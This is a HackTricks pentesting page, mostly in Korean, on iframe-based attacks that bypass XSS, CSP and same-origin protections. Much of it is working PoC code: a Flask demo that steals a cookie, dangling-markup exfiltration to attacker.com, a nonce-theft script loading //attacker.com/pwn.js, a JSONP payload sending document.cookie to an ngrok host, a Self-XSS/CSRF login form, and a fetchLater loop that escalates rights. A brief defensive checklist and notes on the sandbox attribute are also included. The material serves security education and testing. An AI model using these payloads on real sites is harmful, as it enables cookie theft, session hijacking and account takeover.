Iframes in XSS, CSP and SOP

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

Iframes in XSS

iframed ํŽ˜์ด์ง€์˜ ๋‚ด์šฉ์„ ๋‚˜ํƒ€๋‚ด๋Š” ๋ฐฉ๋ฒ•์€ 3๊ฐ€์ง€๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค:

  • src๋ฅผ ํ†ตํ•ด URL์„ ๋‚˜ํƒ€๋ƒ…๋‹ˆ๋‹ค (URL์€ ๊ต์ฐจ ์ถœ์ฒ˜ ๋˜๋Š” ๋™์ผ ์ถœ์ฒ˜์ผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค)
  • data: ํ”„๋กœํ† ์ฝœ์„ ์‚ฌ์šฉํ•˜์—ฌ ๋‚ด์šฉ์„ ๋‚˜ํƒ€๋‚ด๋Š” src
  • ๋‚ด์šฉ์„ ๋‚˜ํƒ€๋‚ด๋Š” srcdoc

๋ถ€๋ชจ ๋ฐ ์ž์‹ ๋ณ€์ˆ˜ ์ ‘๊ทผ

<html>
<script>
var secret = "31337s3cr37t"
</script>

<iframe id="if1" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe id="if2" src="child.html"></iframe>
<iframe
id="if3"
srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe
id="if4"
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>

<script>
function access_children_vars() {
alert(if1.secret)
alert(if2.secret)
alert(if3.secret)
alert(if4.secret)
}
setTimeout(access_children_vars, 3000)
</script>
</html>
<!-- content of child.html -->
<script>
var secret = "child secret"
alert(parent.secret)
</script>

์ด์ „ HTML์— HTTP ์„œ๋ฒ„(์˜ˆ: python3 -m http.server)๋ฅผ ํ†ตํ•ด ์ ‘๊ทผํ•˜๋ฉด ๋ชจ๋“  ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์‹คํ–‰๋˜๋Š” ๊ฒƒ์„ ์•Œ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค(์ด๋ฅผ ๋ฐฉ์ง€ํ•˜๋Š” CSP๊ฐ€ ์—†๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค). ๋ถ€๋ชจ๋Š” ์–ด๋–ค iframe ์•ˆ์˜ secret ๋ณ€์ˆ˜๋ฅผ ์ ‘๊ทผํ•  ์ˆ˜ ์—†์œผ๋ฉฐ ์˜ค์ง if2 ๋ฐ if3 iframe(๊ฐ™์€ ์‚ฌ์ดํŠธ๋กœ ๊ฐ„์ฃผ๋จ)๋งŒ์ด ์›๋ž˜ ์ฐฝ์˜ secret์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
if4๋Š” null ์ถœ์ฒ˜๋กœ ๊ฐ„์ฃผ๋œ๋‹ค๋Š” ์ ์— ์œ ์˜ํ•˜์„ธ์š”.

CSP๊ฐ€ ์žˆ๋Š” Iframes

Tip

๋‹ค์Œ ์šฐํšŒ์—์„œ iframed ํŽ˜์ด์ง€์— ๋Œ€ํ•œ ์‘๋‹ต์— JS ์‹คํ–‰์„ ๋ฐฉ์ง€ํ•˜๋Š” CSP ํ—ค๋”๊ฐ€ ํฌํ•จ๋˜์–ด ์žˆ์ง€ ์•Š๋‹ค๋Š” ์ ์— ์œ ์˜ํ•˜์„ธ์š”.

script-src์˜ self ๊ฐ’์€ data: ํ”„๋กœํ† ์ฝœ์ด๋‚˜ srcdoc ์†์„ฑ์„ ์‚ฌ์šฉํ•˜์—ฌ JS ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•˜๋Š” ๊ฒƒ์„ ํ—ˆ์šฉํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.
๊ทธ๋Ÿฌ๋‚˜ CSP์˜ none ๊ฐ’์กฐ์ฐจ๋„ src ์†์„ฑ์— URL(์ „์ฒด ๋˜๋Š” ๊ฒฝ๋กœ๋งŒ) ์„ ๋„ฃ์€ iframe์˜ ์‹คํ–‰์„ ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค.
๋”ฐ๋ผ์„œ ๋‹ค์Œ๊ณผ ๊ฐ™์ด ํŽ˜์ด์ง€์˜ CSP๋ฅผ ์šฐํšŒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

<html>
<head>
<meta
http-equiv="Content-Security-Policy"
content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk'" />
</head>
<script>
var secret = "31337s3cr37t"
</script>
<iframe id="if1" src="child.html"></iframe>
<iframe id="if2" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe
id="if3"
srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe
id="if4"
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
</html>

์ด์ „ CSP๋Š” ์ธ๋ผ์ธ ์Šคํฌ๋ฆฝํŠธ์˜ ์‹คํ–‰๋งŒ ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค.
๊ทธ๋Ÿฌ๋‚˜ ์˜ค์ง if1๊ณผ if2 ์Šคํฌ๋ฆฝํŠธ๋งŒ ์‹คํ–‰๋˜์ง€๋งŒ, if1๋งŒ ๋ถ€๋ชจ ๋น„๋ฐ€์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๋”ฐ๋ผ์„œ ์„œ๋ฒ„์— JS ํŒŒ์ผ์„ ์—…๋กœ๋“œํ•˜๊ณ  iframe์„ ํ†ตํ•ด ๋กœ๋“œํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด CSP๋ฅผ ์šฐํšŒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. script-src 'none'์ผ์ง€๋ผ๋„ ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” ๋™์ผ ์‚ฌ์ดํŠธ JSONP ์—”๋“œํฌ์ธํŠธ๋ฅผ ์•…์šฉํ•˜์—ฌ๋„ ๊ฐ€๋Šฅํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๋‹ค์Œ ์‹œ๋‚˜๋ฆฌ์˜ค๋กœ ํ…Œ์ŠคํŠธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ฟ ํ‚ค๊ฐ€ script-src 'none'์ผ์ง€๋ผ๋„ ๋„๋‚œ๋‹นํ•ฉ๋‹ˆ๋‹ค. ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ ์‹คํ–‰ํ•˜๊ณ  ๋ธŒ๋ผ์šฐ์ €๋กœ ์ ‘๊ทผํ•˜์„ธ์š”:

import flask
from flask import Flask
app = Flask(__name__)

@app.route("/")
def index():
resp = flask.Response('<html><iframe id="if1" src="cookie_s.html"></iframe></html>')
resp.headers['Content-Security-Policy'] = "script-src 'self'"
resp.headers['Set-Cookie'] = 'secret=THISISMYSECRET'
return resp

@app.route("/cookie_s.html")
def cookie_s():
return "<script>alert(document.cookie)</script>"

if __name__ == "__main__":
app.run()

New (2023-2025) CSP ์šฐํšŒ ๊ธฐ์ˆ  with iframes

์—ฐ๊ตฌ ์ปค๋ฎค๋‹ˆํ‹ฐ๋Š” ์ œํ•œ์ ์ธ ์ •์ฑ…์„ ๋ฌด๋ ฅํ™”ํ•˜๊ธฐ ์œ„ํ•ด iframes๋ฅผ ์•…์šฉํ•˜๋Š” ์ฐฝ์˜์ ์ธ ๋ฐฉ๋ฒ•์„ ๊ณ„์† ๋ฐœ๊ฒฌํ•˜๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค. ์•„๋ž˜๋Š” ์ง€๋‚œ ๋ช‡ ๋…„ ๋™์•ˆ ๋ฐœํ‘œ๋œ ๊ฐ€์žฅ ์ฃผ๋ชฉํ•  ๋งŒํ•œ ๊ธฐ์ˆ ๋“ค์ž…๋‹ˆ๋‹ค:

  • Dangling-markup / named-iframe ๋ฐ์ดํ„ฐ ์œ ์ถœ (PortSwigger 2023) โ€“ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด HTML์„ ๋ฐ˜์˜ํ•˜์ง€๋งŒ ๊ฐ•๋ ฅํ•œ CSP๊ฐ€ ์Šคํฌ๋ฆฝํŠธ ์‹คํ–‰์„ ์ฐจ๋‹จํ•  ๋•Œ, dangling <iframe name> ์†์„ฑ์„ ์ฃผ์ž…ํ•˜์—ฌ ์—ฌ์ „ํžˆ ๋ฏผ๊ฐํ•œ ํ† ํฐ์„ ์œ ์ถœํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋ถ€๋ถ„ ๋งˆํฌ์—…์ด ํŒŒ์‹ฑ๋˜๋ฉด, ๋ณ„๋„์˜ ์ถœ์ฒ˜์—์„œ ์‹คํ–‰ ์ค‘์ธ ๊ณต๊ฒฉ์ž ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ํ”„๋ ˆ์ž„์„ about:blank๋กœ ํƒ์ƒ‰ํ•˜๊ณ  window.name์„ ์ฝ์Šต๋‹ˆ๋‹ค. ์ด ๊ฐ’์€ ์ด์ œ ๋‹ค์Œ ์ธ์šฉ ๋ฌธ์ž๊นŒ์ง€์˜ ๋ชจ๋“  ๊ฒƒ์„ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค(์˜ˆ: CSRF ํ† ํฐ). ํ”ผํ•ด์ž ์ปจํ…์ŠคํŠธ์—์„œ JavaScript๊ฐ€ ์‹คํ–‰๋˜์ง€ ์•Š๊ธฐ ๋•Œ๋ฌธ์—, ๊ณต๊ฒฉ์€ ์ผ๋ฐ˜์ ์œผ๋กœ script-src 'none'์„ ํšŒํ”ผํ•ฉ๋‹ˆ๋‹ค. ์ตœ์†Œํ•œ์˜ PoC๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค:
<!-- ๋ฏผ๊ฐํ•œ <script> ๋ฐ”๋กœ ์•ž์˜ ์ฃผ์ž… ์ง€์  -->
<iframe name="//attacker.com/?">  <!-- ์†์„ฑ์ด ์˜๋„์ ์œผ๋กœ ์—ด๋ ค ์žˆ์Œ -->
// attacker.com ํ”„๋ ˆ์ž„
const victim = window.frames[0];
victim.location = 'about:blank';
console.log(victim.name); // โ†’ ์œ ์ถœ๋œ ๊ฐ’
  • ๋™์ผ ์ถœ์ฒ˜ iframe์„ ํ†ตํ•œ nonce ๋„์šฉ (2024) โ€“ CSP nonce๋Š” DOM์—์„œ ์ œ๊ฑฐ๋˜์ง€ ์•Š๊ณ  DevTools์—์„œ๋งŒ ์ˆจ๊ฒจ์ง‘๋‹ˆ๋‹ค. ๊ณต๊ฒฉ์ž๊ฐ€ ๋™์ผ ์ถœ์ฒ˜ iframe์„ ์ฃผ์ž…ํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด(์˜ˆ: HTML์„ ์‚ฌ์ดํŠธ์— ์—…๋กœ๋“œํ•˜์—ฌ) ์ž์‹ ํ”„๋ ˆ์ž„์€ ๊ฐ„๋‹จํžˆ document.querySelector('[nonce]').nonce๋ฅผ ์ฟผ๋ฆฌํ•˜๊ณ  ์ •์ฑ…์„ ๋งŒ์กฑํ•˜๋Š” ์ƒˆ๋กœ์šด <script nonce> ๋…ธ๋“œ๋ฅผ ์ƒ์„ฑํ•˜์—ฌ strict-dynamic์—๋„ ๋ถˆ๊ตฌํ•˜๊ณ  ์ „์ฒด JavaScript ์‹คํ–‰์„ ๊ฐ€๋Šฅํ•˜๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค. ๋‹ค์Œ ๊ฐ€์ ฏ์€ ๋งˆํฌ์—… ์ฃผ์ž…์„ XSS๋กœ ์ƒ์Šน์‹œํ‚ต๋‹ˆ๋‹ค:
const n = top.document.querySelector('[nonce]').nonce;
const s = top.document.createElement('script');
s.src = '//attacker.com/pwn.js';
s.nonce = n;
top.document.body.appendChild(s);
  • ํผ ์•ก์…˜ ํ•˜์ด์žฌํ‚น (PortSwigger 2024) โ€“ form-action ์ง€์‹œ์–ด๋ฅผ ์ƒ๋žตํ•œ ํŽ˜์ด์ง€๋Š” ์ฃผ์ž…๋œ iframe์ด๋‚˜ ์ธ๋ผ์ธ HTML์—์„œ ๋กœ๊ทธ์ธ ํผ์ด ์žฌํƒ€๊ฒŸํŒ…๋  ์ˆ˜ ์žˆ์–ด, ๋น„๋ฐ€๋ฒˆํ˜ธ ๊ด€๋ฆฌ์ž๊ฐ€ ์ž๊ฒฉ ์ฆ๋ช…์„ ์™ธ๋ถ€ ๋„๋ฉ”์ธ์— ์ž๋™์œผ๋กœ ์ฑ„์šฐ๊ณ  ์ œ์ถœํ•˜๊ฒŒ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. script-src 'none'์ด ์กด์žฌํ•˜๋”๋ผ๋„ ๋งˆ์ฐฌ๊ฐ€์ง€์ž…๋‹ˆ๋‹ค. ํ•ญ์ƒ default-src๋ฅผ form-action์œผ๋กœ ๋ณด์™„ํ•˜์„ธ์š”!

๋ฐฉ์–ด ๋…ธํŠธ (๋น ๋ฅธ ์ฒดํฌ๋ฆฌ์ŠคํŠธ)

  1. ๋ณด์กฐ ์ปจํ…์ŠคํŠธ๋ฅผ ์ œ์–ดํ•˜๋Š” ๋ชจ๋“  CSP ์ง€์‹œ์–ด(form-action, frame-src, child-src, object-src ๋“ฑ)๋ฅผ ํ•ญ์ƒ ์ „์†กํ•˜์„ธ์š”.
  2. nonce๊ฐ€ ๋น„๋ฐ€์ด๋ผ๊ณ  ์˜์กดํ•˜์ง€ ๋งˆ์„ธ์š”โ€”strict-dynamic ๋ฐ ์ฃผ์ž… ์ง€์ ์„ ์ œ๊ฑฐํ•˜์„ธ์š”.
  3. ์‹ ๋ขฐํ•  ์ˆ˜ ์—†๋Š” ๋ฌธ์„œ๋ฅผ ํฌํ•จํ•ด์•ผ ํ•  ๊ฒฝ์šฐ sandbox="allow-scripts allow-same-origin"์„ ๋งค์šฐ ์กฐ์‹ฌ์Šค๋Ÿฝ๊ฒŒ ์‚ฌ์šฉํ•˜์„ธ์š”(์Šคํฌ๋ฆฝํŠธ ์‹คํ–‰ ๊ฒฉ๋ฆฌ๋งŒ ํ•„์š”ํ•˜๋‹ค๋ฉด allow-same-origin ์—†์ด ์‚ฌ์šฉ).
  4. ๋ฐฉ์–ด ์‹ฌํ™” COOP+COEP ๋ฐฐํฌ๋ฅผ ๊ณ ๋ คํ•˜์„ธ์š”; ์ƒˆ๋กœ์šด <iframe credentialless> ์†์„ฑ(ยง ์•„๋ž˜)์€ ์ œ3์ž ์ž„๋ฒ ๋“œ๋ฅผ ๊นจ๋œจ๋ฆฌ์ง€ ์•Š๊ณ ๋„ ๊ทธ๋ ‡๊ฒŒ ํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ด์ค๋‹ˆ๋‹ค.

Other Payloads found on the wild

<!-- This one requires the data: scheme to be allowed -->
<iframe
srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>
<!-- This one injects JS in a jsonp endppoint -->
<iframe srcdoc='
<script src="/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
<!-- sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?)-->
<iframe
src='data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>'></iframe>

Iframe sandbox

iframe ๋‚ด์˜ ์ฝ˜ํ…์ธ ๋Š” sandbox ์†์„ฑ์„ ์‚ฌ์šฉํ•˜์—ฌ ์ถ”๊ฐ€ ์ œํ•œ์„ ๋ฐ›์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ธฐ๋ณธ์ ์œผ๋กœ ์ด ์†์„ฑ์€ ์ ์šฉ๋˜์ง€ ์•Š์œผ๋ฉฐ, ์ด๋Š” ์ œํ•œ์ด ์—†์Œ์„ ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค.

์‚ฌ์šฉ๋  ๋•Œ, sandbox ์†์„ฑ์€ ์—ฌ๋Ÿฌ ๊ฐ€์ง€ ์ œํ•œ์„ ๋ถ€๊ณผํ•ฉ๋‹ˆ๋‹ค:

  • ์ฝ˜ํ…์ธ ๋Š” ๊ณ ์œ ํ•œ ์ถœ์ฒ˜์—์„œ ์˜จ ๊ฒƒ์ฒ˜๋Ÿผ ์ทจ๊ธ‰๋ฉ๋‹ˆ๋‹ค.
  • ์–‘์‹์„ ์ œ์ถœํ•˜๋ ค๋Š” ๋ชจ๋“  ์‹œ๋„๊ฐ€ ์ฐจ๋‹จ๋ฉ๋‹ˆ๋‹ค.
  • ์Šคํฌ๋ฆฝํŠธ ์‹คํ–‰์ด ๊ธˆ์ง€๋ฉ๋‹ˆ๋‹ค.
  • ํŠน์ • API์— ๋Œ€ํ•œ ์ ‘๊ทผ์ด ๋น„ํ™œ์„ฑํ™”๋ฉ๋‹ˆ๋‹ค.
  • ๋งํฌ๊ฐ€ ๋‹ค๋ฅธ ๋ธŒ๋ผ์šฐ์ง• ์ปจํ…์ŠคํŠธ์™€ ์ƒํ˜ธ์ž‘์šฉํ•˜๋Š” ๊ฒƒ์„ ๋ฐฉ์ง€ํ•ฉ๋‹ˆ๋‹ค.
  • <embed>, <object>, <applet> ๋˜๋Š” ์œ ์‚ฌํ•œ ํƒœ๊ทธ๋ฅผ ํ†ตํ•œ ํ”Œ๋Ÿฌ๊ทธ์ธ ์‚ฌ์šฉ์ด ๊ธˆ์ง€๋ฉ๋‹ˆ๋‹ค.
  • ์ฝ˜ํ…์ธ  ์ž์ฒด๊ฐ€ ์ฝ˜ํ…์ธ ์˜ ์ตœ์ƒ์œ„ ๋ธŒ๋ผ์šฐ์ง• ์ปจํ…์ŠคํŠธ๋ฅผ ํƒ์ƒ‰ํ•˜๋Š” ๊ฒƒ์ด ๋ฐฉ์ง€๋ฉ๋‹ˆ๋‹ค.
  • ๋น„๋””์˜ค ์žฌ์ƒ์ด๋‚˜ ์–‘์‹ ์ปจํŠธ๋กค์˜ ์ž๋™ ํฌ์ปค์Šค์™€ ๊ฐ™์ด ์ž๋™์œผ๋กœ ํŠธ๋ฆฌ๊ฑฐ๋˜๋Š” ๊ธฐ๋Šฅ์ด ์ฐจ๋‹จ๋ฉ๋‹ˆ๋‹ค.

Tip: ์ตœ์‹  ๋ธŒ๋ผ์šฐ์ €๋Š” allow-scripts, allow-same-origin, allow-top-navigation-by-user-activation, allow-downloads-without-user-activation ๋“ฑ๊ณผ ๊ฐ™์€ ์„ธ๋ถ„ํ™”๋œ ํ”Œ๋ž˜๊ทธ๋ฅผ ์ง€์›ํ•ฉ๋‹ˆ๋‹ค. ์ด๋ฅผ ์กฐํ•ฉํ•˜์—ฌ ์ž„๋ฒ ๋””๋“œ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์— ํ•„์š”ํ•œ ์ตœ์†Œํ•œ์˜ ๊ธฐ๋Šฅ๋งŒ ๋ถ€์—ฌํ•˜์‹ญ์‹œ์˜ค.

์†์„ฑ์˜ ๊ฐ’์€ ๋ชจ๋“  ์œ„์˜ ์ œํ•œ์„ ์ ์šฉํ•˜๊ธฐ ์œ„ํ•ด ๋น„์›Œ๋‘˜ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค (sandbox=""). ๋˜๋Š” ํŠน์ • ์ œํ•œ์—์„œ iframe์„ ๋ฉด์ œํ•˜๋Š” ๊ณต๋ฐฑ์œผ๋กœ ๊ตฌ๋ถ„๋œ ๊ฐ’ ๋ชฉ๋ก์œผ๋กœ ์„ค์ •ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

<!-- Isolated but can run JS (cannot reach parent because same-origin is NOT allowed) -->
<iframe sandbox="allow-scripts" src="demo_iframe_sandbox.htm"></iframe>

Credentialless iframes

As explained in this article, the credentialless flag in an iframe is used to load a page inside an iframe without sending credentials in the request while maintaining the same origin policy (SOP) of the loaded page in the iframe.

Since Chrome 110 (2023๋…„ 2์›”)๋ถ€ํ„ฐ ์ด ๊ธฐ๋Šฅ์€ ๊ธฐ๋ณธ์ ์œผ๋กœ ํ™œ์„ฑํ™”๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค and the spec is being standardized across browsers under the name anonymous iframe. MDN describes it as: โ€œa mechanism to load third-party iframes in a brand-new, ephemeral storage partition so that no cookies, localStorage or IndexedDB are shared with the real originโ€. Consequences for attackers and defenders:

  • Scripts in different credentialless iframes ์—ฌ์ „ํžˆ ๋™์ผํ•œ ์ตœ์ƒ์œ„ ์ถœ์ฒ˜๋ฅผ ๊ณต์œ ํ•˜๋ฉฐ DOM์„ ํ†ตํ•ด ์ž์œ ๋กญ๊ฒŒ ์ƒํ˜ธ์ž‘์šฉํ•  ์ˆ˜ ์žˆ์–ด ๋‹ค์ค‘ iframe self-XSS ๊ณต๊ฒฉ์ด ๊ฐ€๋Šฅํ•ด์ง‘๋‹ˆ๋‹ค (์•„๋ž˜ PoC ์ฐธ์กฐ).
  • Because the network is credential-stripped, any request inside the iframe effectively behaves as an unauthenticated session โ€“ CSRF protected endpoints usually fail, but public pages leakable via DOM are still in scope.
  • Pop-ups spawned from a credentialless iframe get an implicit rel="noopener", breaking some OAuth flows.
// PoC: two same-origin credentialless iframes stealing cookies set by a third
window.top[1].document.cookie = 'foo=bar';            // write
alert(window.top[2].document.cookie);                 // read -> foo=bar
  • Exploit example: Self-XSS + CSRF

์ด ๊ณต๊ฒฉ์—์„œ ๊ณต๊ฒฉ์ž๋Š” 2๊ฐœ์˜ iframe์ด ์žˆ๋Š” ์•…์„ฑ ์›นํŽ˜์ด์ง€๋ฅผ ์ค€๋น„ํ•ฉ๋‹ˆ๋‹ค:

  • CSRF๊ฐ€ XSS๋ฅผ ํŠธ๋ฆฌ๊ฑฐํ•˜๋Š” credentialless ํ”Œ๋ž˜๊ทธ๊ฐ€ ์žˆ๋Š” ํ”ผํ•ด์ž์˜ ํŽ˜์ด์ง€๋ฅผ ๋กœ๋“œํ•˜๋Š” iframe (์‚ฌ์šฉ์ž์˜ ์‚ฌ์šฉ์ž ์ด๋ฆ„์—์„œ Self-XSS๋ฅผ ์ƒ์ƒํ•ด ๋ณด์„ธ์š”):
<html>
<body>
<form action="http://victim.domain/login" method="POST">
<input type="hidden" name="username" value="attacker_username<img src=x onerror=eval(window.name)>" />
<input type="hidden" name="password" value="Super_s@fe_password" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
  • ์‹ค์ œ๋กœ ์‚ฌ์šฉ์ž๊ฐ€ ๋กœ๊ทธ์ธํ•œ ๋‹ค๋ฅธ iframe ( credentialless ํ”Œ๋ž˜๊ทธ ์—†์ด).

๊ทธ๋Ÿฐ ๋‹ค์Œ, XSS์—์„œ ๋™์ผํ•œ SOP๋ฅผ ๊ฐ€์ง€๋ฏ€๋กœ ๋‹ค๋ฅธ iframe์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์˜ˆ๋ฅผ ๋“ค์–ด ์ฟ ํ‚ค๋ฅผ ํ›”์น˜๋Š” ๊ฒƒ์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

alert(window.top[1].document.cookie);

fetchLater ๊ณต๊ฒฉ

์ด ๊ธฐ์‚ฌ์—์„œ ์–ธ๊ธ‰๋œ ๋ฐ”์™€ ๊ฐ™์ด, API fetchLater๋Š” ์š”์ฒญ์„ ๋‚˜์ค‘์— ์‹คํ–‰๋˜๋„๋ก ๊ตฌ์„ฑํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ด์ค๋‹ˆ๋‹ค(ํŠน์ • ์‹œ๊ฐ„ ํ›„). ๋”ฐ๋ผ์„œ, ์ด๋Š” ์˜ˆ๋ฅผ ๋“ค์–ด, ํ”ผํ•ด์ž๋ฅผ ๊ณต๊ฒฉ์ž์˜ ์„ธ์…˜ ๋‚ด์—์„œ ๋กœ๊ทธ์ธ์‹œํ‚ค๊ณ (์ž๊ธฐ XSS๋ฅผ ํ†ตํ•ด), fetchLater ์š”์ฒญ์„ ์„ค์ •ํ•˜์—ฌ(์˜ˆ๋ฅผ ๋“ค์–ด ํ˜„์žฌ ์‚ฌ์šฉ์ž์˜ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ๋ณ€๊ฒฝํ•˜๊ธฐ ์œ„ํ•ด) ๊ณต๊ฒฉ์ž์˜ ์„ธ์…˜์—์„œ ๋กœ๊ทธ์•„์›ƒํ•˜๋Š” ๋ฐ ์•…์šฉ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿฐ ๋‹ค์Œ, ํ”ผํ•ด์ž๋Š” ์ž์‹ ์˜ ์„ธ์…˜์— ๋กœ๊ทธ์ธํ•˜๊ณ  fetchLater ์š”์ฒญ์ด ์‹คํ–‰๋˜์–ด ํ”ผํ•ด์ž์˜ ๋น„๋ฐ€๋ฒˆํ˜ธ๊ฐ€ ๊ณต๊ฒฉ์ž๊ฐ€ ์„ค์ •ํ•œ ๋น„๋ฐ€๋ฒˆํ˜ธ๋กœ ๋ณ€๊ฒฝ๋ฉ๋‹ˆ๋‹ค.

์ด๋ ‡๊ฒŒ ํ•˜๋ฉด ํ”ผํ•ด์ž์˜ URL์ด iframe์—์„œ ๋กœ๋“œ๋  ์ˆ˜ ์—†๋”๋ผ๋„(CSP ๋˜๋Š” ๊ธฐํƒ€ ์ œํ•œ์œผ๋กœ ์ธํ•ด), ๊ณต๊ฒฉ์ž๋Š” ์—ฌ์ „ํžˆ ํ”ผํ•ด์ž์˜ ์„ธ์…˜์—์„œ ์š”์ฒญ์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

var req = new Request("/change_rights",{method:"POST",body:JSON.stringify({username:"victim", rights: "admin"}),credentials:"include"})
const minute = 60000
let arr = [minute, minute * 60, minute * 60 * 24, ...]
for (let timeout of arr)
fetchLater(req,{activateAfter: timeout})

Iframes in SOP

๋‹ค์Œ ํŽ˜์ด์ง€๋ฅผ ํ™•์ธํ•˜์„ธ์š”:

Bypassing SOP with Iframes - 1

Bypassing SOP with Iframes - 2

Blocking main page to steal postmessage

Steal postmessage modifying iframe location

References

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ